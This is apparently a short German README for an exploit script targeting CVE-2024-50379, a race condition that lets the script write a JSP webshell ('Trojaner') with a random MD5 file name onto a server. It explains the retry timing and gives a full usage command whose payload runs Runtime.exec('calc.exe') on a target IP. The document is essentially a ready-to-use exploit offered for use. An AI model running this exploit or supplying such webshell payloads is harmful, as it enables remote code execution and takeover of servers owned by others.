
CVE-2024-50379-exp
Tests haben ergeben, dass beim ersten Race Condition-Versuch mit hoher Wahrscheinlichkeit ein Fehler beim Schreiben auftritt und ein erneuter Versuch erforderlich ist, um den Trojaner zu schreiben. Daher führt das Skript zunächst eine feste 6-Sekunden-Race-Condition-Prüfung durch, um festzustellen, ob der Trojaner geschrieben wurde. Falls nicht, wird eine benutzerdefinierte oder standardmäßige 10-Sekunden-Prüfung durchgeführt. Der generierte Trojaner hat einen zufälligen MD5-Dateinamen (randommd5.jsp).
python .\CVE-2024-50379.py -u http://192.168.31.33:8888/ -f '123456<%Runtime,getRuntime().exec("calc.exe");%>' -t 10
image